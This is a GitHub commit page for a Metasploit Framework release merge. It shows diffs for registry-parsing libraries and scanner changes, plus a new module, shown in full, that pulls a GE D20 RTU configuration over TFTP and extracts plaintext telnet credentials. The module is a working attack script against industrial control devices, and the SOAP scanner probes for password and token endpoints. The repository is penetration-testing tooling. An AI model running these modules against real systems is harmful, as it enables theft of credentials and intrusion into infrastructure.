Skip to content
This repository
Browse code

Merge branch 'release/20120117000001' into stable

  • Loading branch information...
commit c8e0e6be8e9aec30f668faf650b969548a495d92 2 parents 48ce6f4 + de360da
Jenkins authored

Showing 35 changed files with 2,880 additions and 196 deletions. Show diff stats Hide diff stats

  1. +1 1  README
  2. +14 0 data/post/enum_artifacts_list.txt
  3. +1 1  lib/msf/core/auxiliary/auth_brute.rb
  4. +15 9 lib/msf/core/exploit/mssql.rb
  5. +10 3 lib/msf/core/model/cred.rb
  6. +6 0 lib/msf/core/model/host.rb
  7. +27 0 lib/msf/core/post/file.rb
  8. +13 0 lib/rex/registry.rb
  9. +110 0 lib/rex/registry/hive.rb
  10. +50 0 lib/rex/registry/lfkey.rb
  11. +53 0 lib/rex/registry/nodekey.rb
  12. +26 0 lib/rex/registry/regf.rb
  13. +66 0 lib/rex/registry/valuekey.rb
  14. +28 0 lib/rex/registry/valuelist.rb
  15. +275 0 modules/auxiliary/gather/d20pass.rb
  16. +1 0  modules/auxiliary/scanner/ftp/ftp_login.rb
  17. +87 73 modules/auxiliary/scanner/http/soap_xml.rb
  18. +10 9 modules/auxiliary/scanner/mssql/mssql_ping.rb
  19. +132 0 modules/auxiliary/scanner/mssql/mssql_schemadump.rb
  20. +132 0 modules/auxiliary/scanner/mysql/mysql_schemadump.rb
  21. +124 0 modules/auxiliary/scanner/postgres/postgres_schemadump.rb
  22. +32 49 modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb
  23. +42 35 modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb
  24. +7 13 modules/auxiliary/spoof/arp/arp_poisoning.rb
  25. +159 0 modules/exploits/osx/browser/mozilla_mchannel.rb
  26. +193 0 modules/exploits/windows/browser/ms05_054_onload.rb
  27. +136 0 modules/exploits/windows/fileformat/bsplayer_m3u.rb
  28. +368 0 modules/exploits/windows/fileformat/mcafee_showreport_exec.rb
  29. +2 2 modules/exploits/windows/ftp/ability_server_stor.rb
  30. +2 1  modules/exploits/windows/oracle/tns_auth_sesskey.rb
  31. +106 0 modules/post/windows/gather/enum_artifacts.rb
  32. +58 0 scripts/resource/autocrawler.rc
  33. +22 0 scripts/resource/port-cleaner.rc
  34. +53 0 scripts/resource/portscan.rc
  35. +519 0 tools/reg.rb
2  README
... ... @@ -1,4 +1,4 @@
1   -Copyright (C) 2006-2011, Rapid7 LLC
  1 +Copyright (C) 2006-2012, Rapid7 LLC
2 2 All rights reserved.
3 3
4 4 Redistribution and use in source and binary forms, with or without modification,
14 data/post/enum_artifacts_list.txt
... ... @@ -0,0 +1,14 @@
  1 +# This file contains a list of artifacts used by the enum_artifacts post module
  2 +# Artifacts should be listed one per line and use the following formats:
  3 +# File entries
  4 +# file|path/to/file|md5sum
  5 +#
  6 +# Registry entries
  7 +# reg|hive|key|value
  8 +#
  9 +# Happy hunting
  10 +
  11 +file|c:\ntdetect.com|b2de3452de03674c6cec68b8c8ce7c78
  12 +file|c:\boot.ini|fa579938b0733b87066546afe951082c
  13 +reg|HKEY_LOCAL_MACHINE\SYSTEM\Select|Current|1
  14 +reg|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI|DisplayName|Microsoft ACPI Driver
2  lib/msf/core/auxiliary/auth_brute.rb
@@ -514,7 +514,7 @@ def tried_over_total(ip,port)
514 514 # name of the module, assuming the name is sensible like ssh_login or
515 515 # smb_auth.
516 516 def proto_from_fullname
517   - File.split(self.fullname).last.match(/^(.*)_(login|auth)/)[1].upcase rescue nil
  517 + File.split(self.fullname).last.match(/^(.*)_(login|auth|identify)/)[1].upcase rescue nil
518 518 end
519 519
520 520 # Legacy vprint
24 lib/msf/core/exploit/mssql.rb
@@ -116,20 +116,26 @@ def mssql_ping(timeout=5)
116 116 # Parse a 'ping' response and format as a hash
117 117 #
118 118 def mssql_ping_parse(data)
119   - res = {}
  119 + res = []
120 120 var = nil
121 121 idx = data.index('ServerName')
122 122 return res if not idx
123   -
124   - data[idx, data.length-idx].split(';').each do |d|
125   - if (not var)
126   - var = d
127   - else
128   - if (var.length > 0)
129   - res[var] = d
130   - var = nil
  123 + sdata = data[idx, (data.length - 1)]
  124 +
  125 + instances = sdata.split(';;')
  126 + instances.each do |instance|
  127 + rinst = {}
  128 + instance.split(';').each do |d|
  129 + if (not var)
  130 + var = d
  131 + else
  132 + if (var.length > 0)
  133 + rinst[var] = d
  134 + var = nil
  135 + end
131 136 end
132 137 end
  138 + res << rinst
133 139 end
134 140
135 141 return res
13 lib/msf/core/model/cred.rb
@@ -42,9 +42,16 @@ def ssh_keys
42 42 end
43 43
44 44 def ssh_key_matches?(other_cred)
45   - return false unless self.ptype == "ssh_key"
46   - return false unless other_cred.ptype == self.ptype
47   - matches = self.ssh_private_keys
  45 + return false unless other_cred.kind_of? self.class
  46 + return false unless self.ptype == other_cred.ptype
  47 + case self.ptype
  48 + when "ssh_key"
  49 + matches = self.ssh_private_keys
  50 + when "ssh_pubkey"
  51 + matches = self.ssh_public_keys
  52 + else
  53 + false
  54 + end
48 55 matches.include?(self) and matches.include?(other_cred)
49 56 end
50 57
6 lib/msf/core/model/host.rb
@@ -32,6 +32,12 @@ def attribute_locked?(attr)
32 32 def validate_fingerprint_data(fp)
33 33 if fp.data.kind_of?(Hash) and !fp.data.empty?
34 34 return true
  35 + elsif fp.ntype == "postgresql.fingerprint"
  36 + # Special case postgresql.fingerprint; it's always a string,
  37 + # and should not be used for OS fingerprinting (yet), so
  38 + # don't bother logging it. TODO: fix os fingerprint finding, this
  39 + # name collision seems silly.
  40 + return false
35 41 else
36 42 dlog("Could not validate fingerprint data: #{fp.inspect}")
37 43 return false
27 lib/msf/core/post/file.rb
@@ -34,6 +34,15 @@ def file_local_digestmd5(file2md5)
34 34 end
35 35
36 36 #
  37 + # Returns a MD5 checksum of a given remote file
  38 + #
  39 +
  40 + def file_remote_digestmd5(file2md5)
  41 + chksum = Digest::MD5.hexdigest(read_file(file2md5))
  42 + return chksum
  43 + end
  44 +
  45 + #
37 46 # Returns a SHA1 checksum of a given local file
38 47 #
39 48 def file_local_digestsha1(file2sha1)
@@ -48,6 +57,15 @@ def file_local_digestsha1(file2sha1)
48 57 end
49 58
50 59 #
  60 + # Returns a SHA1 checksum of a given remote file
  61 + #
  62 +
  63 + def file_remote_digestsha1(file2sha1)
  64 + chksum = Digest::SHA1.hexdigest(read_file(file2sha1))
  65 + return chksum
  66 + end
  67 +
  68 + #
51 69 # Returns a SHA256 checksum of a given local file
52 70 #
53 71 def file_local_digestsha2(file2sha2)
@@ -62,6 +80,15 @@ def file_local_digestsha2(file2sha2)
62 80 end
63 81
64 82 #
  83 + # Returns a SHA2 checksum of a given remote file
  84 + #
  85 +
  86 + def file_remote_digestsha2(file2sha2)
  87 + chksum = Digest::SHA256.hexdigest(read_file(file2sha2))
  88 + return chksum
  89 + end
  90 +
  91 + #
65 92 # Platform-agnostic file read. Returns contents of remote file +file_name+
66 93 # as a String.
67 94 #
13 lib/rex/registry.rb
... ... @@ -0,0 +1,13 @@
  1 +require 'rex/registry/hive'
  2 +require 'rex/registry/regf'
  3 +require 'rex/registry/nodekey'
  4 +require 'rex/registry/lfkey'
  5 +require 'rex/registry/valuekey'
  6 +require 'rex/registry/valuelist'
  7 +
  8 +module Rex
  9 +module Registry
  10 +
  11 + attr_accessor :alias
  12 +end
  13 +end
110 lib/rex/registry/hive.rb
... ... @@ -0,0 +1,110 @@
  1 +require_relative "regf"
  2 +require_relative "nodekey"
  3 +
  4 +module Rex
  5 +module Registry
  6 +
  7 +class Hive
  8 + attr_accessor :root_key, :hive_regf
  9 +
  10 + def initialize(hivepath)
  11 +
  12 + hive_blob = open(hivepath, "rb") { |io| io.read }
  13 + @hive_regf = RegfBlock.new(hive_blob)
  14 +
  15 + @root_key = NodeKey.new(hive_blob, 0x1000 + @hive_regf.root_key_offset)
  16 + end
  17 +
  18 + def relative_query(path)
  19 +
  20 + if path == "" || path == "\\"
  21 + return @root_key
  22 + end
  23 +
  24 + current_child = nil
  25 + paths = path.split("\\")
  26 +
  27 + return if !@root_key.lf_record
  28 +
  29 + @root_key.lf_record.children.each do |child|
  30 + next if child.name.downcase != paths[1].downcase
  31 +
  32 + current_child = child
  33 +
  34 + if paths.length == 2
  35 + current_child.full_path = path
  36 + return current_child
  37 + end
  38 +
  39 + 2.upto(paths.length) do |i|
  40 +
  41 + if i == paths.length
  42 + current_child.full_path = path
  43 + return current_child
  44 + else
  45 + if current_child.lf_record && current_child.lf_record.children
  46 + current_child.lf_record.children.each do |c|
  47 + next if c.name.downcase != paths[i].downcase
  48 +
  49 + current_child = c
  50 +
  51 + break
  52 + end
  53 + end
  54 + end
  55 +
  56 + end
  57 + end
  58 +
  59 + return if !current_child
  60 +
  61 + current_child.full_path = path
  62 + return current_child
  63 + end
  64 +
  65 + def value_query(path)
  66 + if path == "" || path == "\\"
  67 + return nil
  68 + end
  69 +
  70 + paths = path.split("\\")
  71 +
  72 + return if !@root_key.lf_record
  73 +
  74 + @root_key.lf_record.children.each do |root_child|
  75 + next if root_child.name.downcase != paths[1].downcase
  76 +
  77 + current_child = root_child
  78 +
  79 + if paths.length == 2
  80 + return nil
  81 + end
  82 +
  83 + 2.upto(paths.length - 1) do |i|
  84 + next if !current_child.lf_record
  85 +
  86 + current_child.lf_record.children.each do |c|
  87 + next if c.name != paths[i]
  88 + current_child = c
  89 +
  90 + break
  91 + end
  92 + end
  93 +
  94 + if !current_child.value_list || current_child.value_list.values.length == 0
  95 + return nil
  96 + end
  97 +
  98 + current_child.value_list.values.each do |value|
  99 + next if value.name.downcase != paths[paths.length - 1].downcase
  100 +
  101 + value.full_path = path
  102 + return value
  103 + end
  104 + end
  105 + end
  106 +
  107 +end
  108 +
  109 +end
  110 +end
50 lib/rex/registry/lfkey.rb
... ... @@ -0,0 +1,50 @@
  1 +require_relative "nodekey"
  2 +
  3 +module Rex
  4 +module Registry
  5 +
  6 +class LFBlock
  7 +
  8 + attr_accessor :number_of_keys, :hash_records, :children
  9 +
  10 + def initialize(hive_blob, offset)
  11 + offset = offset + 4
  12 + lf_header = hive_blob[offset, 2]
  13 +
  14 + if lf_header !~ /lf/ && lf_header !~ /lh/
  15 + return
  16 + end
  17 +
  18 + @number_of_keys = hive_blob[offset + 0x02, 2].unpack('C').first
  19 +
  20 + @hash_records = []
  21 + @children = []
  22 +
  23 + hash_offset = offset + 0x04
  24 +
  25 + 1.upto(@number_of_keys) do |h|
  26 +
  27 + hash = LFHashRecord.new(hive_blob, hash_offset)
  28 +
  29 + @hash_records << hash
  30 +
  31 + hash_offset = hash_offset + 0x08
  32 +
  33 + @children << NodeKey.new(hive_blob, hash.nodekey_offset + 0x1000)
  34 + end
  35 + end
  36 +end
  37 +
  38 +class LFHashRecord
  39 +
  40 + attr_accessor :nodekey_offset, :nodekey_name_verification
  41 +
  42 + def initialize(hive_blob, offset)
  43 + @nodekey_offset = hive_blob[offset, 4].unpack('l').first
  44 + @nodekey_name_verification = hive_blob[offset+0x04, 4].to_s
  45 + end
  46 +
  47 +end
  48 +
  49 +end
  50 +end
53 lib/rex/registry/nodekey.rb
... ... @@ -0,0 +1,53 @@
  1 +require_relative "lfkey"
  2 +require_relative "valuelist"
  3 +
  4 +module Rex
  5 +module Registry
  6 +
  7 +class NodeKey
  8 +
  9 + attr_accessor :timestamp, :parent_offset, :subkeys_count, :lf_record_offset
  10 + attr_accessor :value_count, :value_list_offset, :security_key_offset
  11 + attr_accessor :class_name_offset, :name_length, :class_name_length, :full_path
  12 + attr_accessor :name, :lf_record, :value_list, :class_name_data, :readable_timestamp
  13 +
  14 + def initialize(hive, offset)
  15 +
  16 + offset = offset + 0x04
  17 +
  18 + nk_header = hive[offset, 2]
  19 + nk_type = hive[offset+0x02, 2]
  20 +
  21 + if nk_header !~ /nk/
  22 + return
  23 + end
  24 +
  25 + @timestamp = hive[offset+0x04, 8].unpack('q').first
  26 + @parent_offset = hive[offset+0x10, 4].unpack('l').first
  27 + @subkeys_count = hive[offset+0x14, 4].unpack('l').first
  28 + @lf_record_offset = hive[offset+0x1c, 4].unpack('l').first
  29 + @value_count = hive[offset+0x24, 4].unpack('l').first
  30 + @value_list_offset = hive[offset+0x28, 4].unpack('l').first
  31 + @security_key_offset = hive[offset+0x2c, 4].unpack('l').first
  32 + @class_name_offset = hive[offset+0x30, 4].unpack('l').first
  33 + @name_length = hive[offset+0x48, 2].unpack('c').first
  34 + @class_name_length = hive[offset+0x4a, 2].unpack('c').first
  35 + @name = hive[offset+0x4c, @name_length].to_s
  36 +
  37 + windows_time = @timestamp
  38 + unix_time = windows_time/10000000-11644473600
  39 + ruby_time = Time.at(unix_time)
  40 +
  41 + @readable_timestamp = ruby_time
  42 +
  43 + @lf_record = LFBlock.new(hive, @lf_record_offset + 0x1000) if @lf_record_offset != -1
  44 + @value_list = ValueList.new(hive, @value_list_offset + 0x1000, @value_count) if @value_list_offset != -1
  45 +
  46 + @class_name_data = hive[@class_name_offset + 0x04 + 0x1000, @class_name_length]
  47 +
  48 + end
  49 +
  50 +end
  51 +
  52 +end
  53 +end
26 lib/rex/registry/regf.rb
... ... @@ -0,0 +1,26 @@
  1 +module Rex
  2 +module Registry
  3 +
  4 +class RegfBlock
  5 +
  6 + attr_accessor :timestamp, :root_key_offset, :hive_name
  7 +
  8 + def initialize(hive)
  9 +
  10 + regf_header = hive[0x00, 4]
  11 +
  12 + if regf_header !~ /regf/
  13 + puts "Not a registry hive"
  14 +
  15 + return
  16 + end
  17 +
  18 + @timestamp = hive[0x0C, 8].unpack('q').first
  19 + @root_key_offset = 0x20
  20 + @hive_name = hive[0x30-1, 64].to_s.gsub("\x00", "")
  21 +
  22 + end
  23 +end
  24 +
  25 +end
  26 +end
66 lib/rex/registry/valuekey.rb
... ... @@ -0,0 +1,66 @@
  1 +module Rex
  2 +module Registry
  3 +
  4 +class ValueKey
  5 +
  6 + attr_accessor :name_length, :length_of_data, :data_offset, :full_path
  7 + attr_accessor :value_type, :readable_value_type, :name, :value
  8 +
  9 + def initialize(hive, offset)
  10 + offset = offset + 4
  11 +
  12 + vk_header = hive[offset, 2]
  13 +
  14 + if vk_header !~ /vk/
  15 + puts "no vk at offset #{offset}"
  16 + return
  17 + end
  18 +
  19 + @name_length = hive[offset+0x02, 2].unpack('c').first
  20 + @length_of_data = hive[offset+0x04, 4].unpack('l').first
  21 + @data_offset = hive[offset+ 0x08, 4].unpack('l').first
  22 + @value_type = hive[offset+0x0C, 4].unpack('c').first
  23 +
  24 + if @value_type == 1
  25 + @readable_value_type = "Unicode character string"
  26 + elsif @value_type == 2
  27 + @readable_value_type = "Unicode string with %VAR% expanding"
  28 + elsif @value_type == 3
  29 + @readable_value_type = "Raw binary value"
  30 + elsif @value_type == 4
  31 + @readable_value_type = "Dword"
  32 + elsif @value_type == 7
  33 + @readable_value_type = "Multiple unicode strings separated with '\\x00'"
  34 + end
  35 +
  36 + flag = hive[offset+0x10, 2].unpack('c').first
  37 +
  38 + if flag == 0
  39 + @name = "Default"
  40 + else
  41 + @name = hive[offset+0x14, @name_length].to_s
  42 + end
  43 +
  44 + @value = ValueKeyData.new(hive, @data_offset, @length_of_data, @value_type, offset)
  45 + end
  46 +end
  47 +
  48 +class ValueKeyData
  49 +
  50 + attr_accessor :data
  51 +
  52 + def initialize(hive, offset, length, datatype, parent_offset)
  53 + offset = offset + 4
  54 +
  55 + #If the data-size is lower than 5, the data-offset value is used to store
  56 + #the data itself!
  57 + if length < 5
  58 + @data = hive[parent_offset + 0x08, 4]
  59 + else
  60 + @data = hive[offset + 0x1000, length]
  61 + end
  62 + end
  63 +end
  64 +
  65 +end
  66 +end
28 lib/rex/registry/valuelist.rb
... ... @@ -0,0 +1,28 @@
  1 +require_relative "valuekey"
  2 +
  3 +module Rex
  4 +module Registry
  5 +
  6 +class ValueList
  7 +
  8 + attr_accessor :values
  9 +
  10 + def initialize(hive, offset, number_of_values)
  11 + offset = offset + 4
  12 + inner_offset = 0
  13 +
  14 + @values = []
  15 +
  16 + 1.upto(number_of_values) do |v|
  17 + valuekey_offset = hive[offset + inner_offset, 4]
  18 + next if !valuekey_offset
  19 +
  20 + valuekey_offset = valuekey_offset.unpack('l').first
  21 + @values << ValueKey.new(hive, valuekey_offset + 0x1000)
  22 + inner_offset = inner_offset + 4
  23 + end
  24 + end
  25 +end
  26 +
  27 +end
  28 +end
275 modules/auxiliary/gather/d20pass.rb
... ... @@ -0,0 +1,275 @@
  1 +
  2 +##
  3 +# This file is part of the Metasploit Framework and may be subject to
  4 +# redistribution and commercial restrictions. Please see the Metasploit
  5 +# Framework web site for more information on licensing and terms of use.
  6 +# http://metasploit.com/framework/
  7 +##
  8 +
  9 +##
  10 +# This module grabs the device configuration from a GE D20M* RTU and
  11 +# parses the usernames and passwords from it.
  12 +##
  13 +
  14 +require 'msf/core'
  15 +require 'rex/ui/text/shell'
  16 +require 'rex/proto/tftp'
  17 +
  18 +class Metasploit3 < Msf::Auxiliary
  19 + include Rex::Ui::Text
  20 + include Rex::Proto::TFTP
  21 + include Msf::Exploit::Remote::Udp
  22 + include Msf::Auxiliary::Report
  23 +
  24 + def initialize(info = {})
  25 + super(update_info(info,
  26 + 'Name' => 'General Electric D20 Password Recovery',
  27 + 'Description' => %q{
  28 + The General Electric D20ME and possibly other units (D200?) feature
  29 + TFTP readable configurations with plaintext passwords. This module
  30 + retrieves the username, password, and authentication level list.
  31 + },
  32 + 'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
  33 + 'License' => MSF_LICENSE,
  34 + 'Version' => '$Revision: 1 $',
  35 + 'DisclosureDate' => 'Jan 19 2012',
  36 + ))
  37 +
  38 + register_options(
  39 + [
  40 + Opt::RPORT(69),
  41 + Opt::RHOST('192.168.255.1'),
  42 + OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"])
  43 + ], self.class)
  44 + end
  45 +
  46 + def setup
  47 + @rhost = datastore['RHOST']
  48 + @rport = datastore['RPORT'] || 69
  49 + @lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
  50 + @lhost = datastore['LHOST'] || "0.0.0.0"
  51 + @rfile = datastore['REMOTE_CONFIG_NAME']
  52 + end
  53 +
  54 + def cleanup
  55 + if @tftp_client and @tftp_client.respond_to? :complete
  56 + while not @tftp_client.complete
  57 + select(nil,nil,nil,1)
  58 + vprint_status "Cleaning up the TFTP client ports and threads."
  59 + @tftp_client.stop
  60 + end
  61 + end
  62 + end
  63 +
  64 + def rtarget(ip=nil)
  65 + if (ip or rhost) and rport
  66 + [(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
  67 + elsif (ip or rhost)
  68 + "#{rhost}"
  69 + else
  70 + ""
  71 + end
  72 + end
  73 +
  74 + # Retrieve the file
  75 + def retrieve
  76 + print_status("Retrieving file")
  77 + @tftp_client = Rex::Proto::TFTP::Client.new(
  78 + "LocalHost" => @lhost,
  79 + "LocalPort" => @lport,
  80 + "PeerHost" => @rhost,
  81 + "PeerPort" => @rport,
  82 + "RemoteFile" => @rfile,
  83 + "Action" => :download
  84 + )
  85 + @tftp_client.send_read_request { |msg| print_tftp_status(msg) }
  86 + @tftp_client.threads do |thread|
  87 + thread.join
  88 + end
  89 + # Wait for GET to finish
  90 + while not @tftp_client.complete
  91 + select(nil, nil, nil, 0.1)
  92 + end
  93 + fh = @tftp_client.recv_tempfile
  94 + return fh
  95 + end
  96 +
  97 + # Builds a big-endian word
  98 + def makeword(bytestr)
  99 + return bytestr.unpack("n")[0]
  100 + end
  101 + # builds abi
  102 + def makelong(bytestr)
  103 + return bytestr.unpack("N")[0]
  104 + end
  105 +
  106 + # Returns a pointer. We re-base the pointer
  107 + # so that it may be used as a file pointer.
  108 + # In the D20 memory, the file is located in flat
  109 + # memory at 0x00800000.
  110 + def makefptr(bytestr)
  111 + ptr = makelong(bytestr)
  112 + ptr = ptr - 0x00800000
  113 + return ptr
  114 + end
  115 +
  116 + # Build a string out of the file. Assumes that the string is
  117 + # null-terminated. This will be the case in the D20 Username
  118 + # and Password fields.
  119 + def makestr(f, strptr)
  120 + f.seek(strptr)
  121 + str = ""
  122 + b = f.read(1)
  123 + if b != 0
  124 + str = str + b
  125 + end
  126 + while b != "\000"
  127 + b = f.read(1)
  128 + if b != "\000"
  129 + str = str + b
  130 + end
  131 + end
  132 + return str
  133 + end
  134 +
  135 + # configuration section names in the file are always
  136 + # 8 bytes. Sometimes they are null-terminated strings,
  137 + # but not always, so I use this silly helper function.
  138 + def getname(f, entryptr)
  139 + f.seek(entryptr + 12) # three ptrs then name
  140 + str = f.read(8)
  141 + return str
  142 + end
  143 +
  144 + def leftchild(f, entryptr)
  145 + f.seek(entryptr + 4)
  146 + ptr = f.read(4)
  147 + return makefptr(ptr)
  148 + end
  149 +
  150 + def rightchild(f, entryptr)
  151 + f.seek(entryptr + 8)
  152 + ptr = f.read(4)
  153 + return makefptr(ptr)
  154 + end
  155 +
  156 + # find the entry in the configuration file.
  157 + # the file is a binary tree, with pointers to parent, left, right
  158 + # stored as 32-bit big-endian values.
  159 + # sorry for depth-first recursion
  160 + def findentry(f, name, start)
  161 + f.seek(start)
  162 + myname = getname(f, start)
  163 + if name == myname
  164 + return start
  165 + end
  166 + left = leftchild(f, start)
  167 + right = rightchild(f, start)
  168 + if name < myname
  169 + if left < f.stat.size and left != 0
  170 + res = findentry(f, name, leftchild(f, start))
  171 + else
  172 + res = nil # this should perolate up
  173 + end
  174 + end
  175 + if name > myname
  176 + if right < f.stat.size and right != 0
  177 + res = findentry(f, name, rightchild(f, start))
  178 + else
  179 + res = nil
  180 + end
  181 + end
  182 + return res
  183 + end
  184 +
  185 + # Parse the usernames, passwords, and security levels from the config
  186 + # It's a little ugly (lots of hard-coded offsets).
  187 + # The userdata starts at an offset dictated by the B014USERS config
  188 + # offset 0x14 (20) bytes. The rest is all about skipping past the
  189 + # section header.
  190 + def parseusers(f, userentryptr)
  191 + f.seek(userentryptr + 0x14)
  192 + dstart = makefptr(f.read(4))
  193 + f.seek(userentryptr + 0x1C)
  194 + numentries = makelong(f.read(4))
  195 + f.seek(userentryptr + 0x60)
  196 + headerlen = makeword(f.read(2))
  197 + f.seek(userentryptr + 40) # sorry decimal
  198 + entrylen = makeword(f.read(2)) # sorry this is decimal
  199 + logins = Rex::Ui::Text::Table.new(
  200 + 'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",
  201 + 'Indent' => 1,
  202 + 'Columns' => ["Type", "User Name", "Password"])
  203 + range = Range.new(0, numentries - 1)
  204 + range.each do |i|
  205 + f.seek(dstart + headerlen + i * entrylen)
  206 + accounttype = makeword(f.read(2))
  207 + f.seek(dstart + headerlen + i * entrylen + 2)
  208 + accountname = makestr(f, dstart + headerlen + i * entrylen + 2)
  209 + f.seek(dstart + headerlen + i * entrylen + 2 + 22)
  210 + accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)
  211 + if accountname.size + accountpass.size > 44
  212 + print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")
  213 + break
  214 + end
  215 + logins << [accounttype, accountname, accountpass]
  216 + report_auth_info(
  217 + :host => datastore['RHOST'],
  218 + :port => 23,
  219 + :sname => "telnet",
  220 + :user => accountname,
  221 + :pass => accountpass,
  222 + :active => true
  223 + )
  224 + end
  225 + if not logins.rows.empty?
  226 + loot = store_loot(
  227 + "d20.user.creds",
  228 + "text/csv",
  229 + datastore['RHOST'],
  230 + logins.to_s,
  231 + "d20_user_creds.txt",
  232 + "General Electric TELNET User Credentials",
  233 + datastore['RPORT']
  234 + )
  235 + print_line logins.to_s
  236 + print_status("Loot stored in: #{loot}")
  237 + else
  238 + print_error("No data collected")
  239 + end
  240 + end
  241 +
  242 + def parse(fh)
  243 + print_status("Parsing file")
  244 + f = File.open(fh, 'rb')
  245 + used = f.read(4)
  246 + if used != "USED"
  247 + print_error "Invalid Configuration File!"
  248 + return
  249 + end
  250 + f.seek(0x38)
  251 + start = makefptr(f.read(4))
  252 + userptr = findentry(f, "B014USER", start)
  253 + if userptr != nil
  254 + parseusers(f, userptr)
  255 + else
  256 + print_error "Error finding the user table in the configuration."
  257 + end
  258 + end
  259 +
  260 + def run
  261 + fh = retrieve
  262 + parse(fh)
  263 + end
  264 +
  265 + def print_tftp_status(msg)
  266 + case msg
  267 + when /Aborting/, /errors.$/
  268 + print_error [rtarget,msg].join
  269 + when /^WRQ accepted/, /^Sending/, /complete!$/
  270 + print_good [rtarget,msg].join
  271 + else
  272 + vprint_status [rtarget,msg].join
  273 + end
  274 + end
  275 +end
1  modules/auxiliary/scanner/ftp/ftp_login.rb
@@ -60,6 +60,7 @@ def initialize
60 60 def run_host(ip)
61 61 print_status("#{ip}:#{rport} - Starting FTP login sweep")
62 62 if check_banner
  63 + @@credentials_tried = {}
63 64 if datastore['RECORD_GUEST'] == false and check_anonymous == :next_user
64 65 @accepts_all_logins[@access] ||= []
65 66 @accepts_all_logins[@access] << ip
160 modules/auxiliary/scanner/http/soap_xml.rb
@@ -42,7 +42,9 @@ def initialize(info = {})
42 42 OptString.new('XMLSCHEMA', [ true, "XML Schema", 'http://www.w3.org/2001/XMLSchema']),
43 43 OptString.new('XMLSOAP', [ true, "XML SOAP", 'http://schemas.xmlsoap.org/soap/envelope/']),
44 44 OptString.new('CONTENTTYPE', [ true, "The HTTP Content-Type Header", 'application/x-www-form-urlencoded']),
  45 + OptInt.new('SLEEP', [true, "Sleep this many seconds between requests", 0 ]),
45 46 OptBool.new('DISPLAYHTML', [ true, "Display HTML response", false ]),
  47 + OptBool.new('SSL', [ true, "Use SSL", false ]),
46 48 ], self.class)
47 49
48 50 end
@@ -53,6 +55,7 @@ def run_host(ip)
53 55 verbs = [
54 56 'get',
55 57 'active',
  58 + 'activate',
56 59 'create',
57 60 'change',
58 61 'set',
@@ -74,33 +77,49 @@ def run_host(ip)
74 77 'register',
75 78 'log',
76 79 'add',
  80 + 'list',
  81 + 'query',
77 82 #'delete', # Best to be safe!
78 83 ]
79 84
80 85 nouns = [
81 86 'password',
82 87 'task',
  88 + 'tasks',
83 89 'pass',
84 90 'administration',
85 91 'account',
  92 + 'accounts',
86 93 'admin',
87 94 'login',
  95 + 'logins',
88 96 'token',
89   - 'credentials',
  97 + 'tokens',
90 98 'credential',
  99 + 'credentials',
91 100 'key',
  101 + 'keys',
92 102 'guid',
93 103 'message',
  104 + 'messages',
94 105 'user',
  106 + 'users',
95 107 'username',
  108 + 'usernames',
96 109 'load',
97 110 'list',
98 111 'name',
  112 + 'names',
99 113 'file',
  114 + 'files',
100 115 'path',
  116 + 'paths',
101 117 'directory',
  118 + 'directories',
102 119 'configuration',
  120 + 'configurations',
103 121 'config',
  122 + 'configs',
104 123 'setting',
105 124 'settings',
106 125 'registry',
@@ -111,79 +130,74 @@ def run_host(ip)
111 130 target_port = datastore['RPORT']
112 131 vhost = datastore['VHOST'] || wmap_target_host || ip
113 132
  133 + # regular expressions for common rejection messages
  134 + reject_regexen = []
  135 + reject_regexen << Regexp.new("method \\S+ is not valid", true)
  136 + reject_regexen << Regexp.new("Method \\S+ not implemented", true)
  137 + reject_regexen << Regexp.new("unable to resolve WSDL method name", true)
  138 +
114 139 begin
115   - # Check service exists
116   - res = send_request_raw({
117   - 'uri' => datastore['PATH'],
118   - 'method' => 'GET',
119   - 'vhost' => vhost,
120   - }, 10)
121   -
122   - if (res.code == 200)
123   - print_status("PATH appears to be OK.")
124   -
125   - verbs.each do |v|
126   - nouns.each do |n|
127   -
128   - # This could be cleaned up - patrickw
129   - data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
130   - data << '<soap:Envelope xmlns:xsi="' + datastore['XMLINSTANCE'] + '" xmlns:xsd="' + datastore['XMLSCHEMA'] + '" xmlns:soap="' + datastore['XMLSOAP'] + '">' + "\r\n"
131   - data << '<soap:Body>' + "\r\n"
132   - data << "<#{v}#{n}" + " xmlns=\"#{datastore['XMLNAMESPACE']}\">" + "\r\n"
133   - data << "</#{v}#{n}>" + "\r\n"
134   - data << '</soap:Body>' + "\r\n"
135   - data << '</soap:Envelope>' + "\r\n\r\n"
136   -
137   - res = send_request_raw({
138   - 'uri' => datastore['PATH'] + '/' + v + n,
139   - 'method' => 'POST',
140   - 'vhost' => vhost,
141   - 'data' => data,
142   - 'headers' =>
143   - {
144   - 'Content-Length' => data.length,
145   - 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"',
146   - 'Expect' => '100-continue',
147   - 'Content-Type' => datastore['CONTENTTYPE'],
148   - }
149   - }, 15)
150   -
151   - if (res && !(res.body.empty?))
152   - if (res.body =~ /method name is not valid/)
153   - print_status("Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
154   - elsif (res.message =~ /Cannot process the message because the content type/)
155   - print_status("Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.")
156   - res.message =~ /was not the expected type\s\'([^']+)'/
157   - print_status("Set CONTENTTYPE to \"#{$1}\"")
158   - return false
159   - elsif (res.code == 404)
160   - return false
161   - else
162   - print_status("Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
163   - ## Add Report
164   - report_note(
165   - :host => ip,
166   - :proto => 'tcp',
167   - :sname => 'HTTP',
168   - :port => rport,
169   - :type => "SOAPAction: #{v}#{n}",
170   - :data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}."
171   - )
172   - if datastore['DISPLAYHTML']
173   - print_status("The HTML content follows:")
174   - print_status(res.body + "\r\n")
175   - end
176   - end
177   - end
178   - end
179   - end
180   -
181   - else
182   - print_status("Server did not respond with 200 OK.")
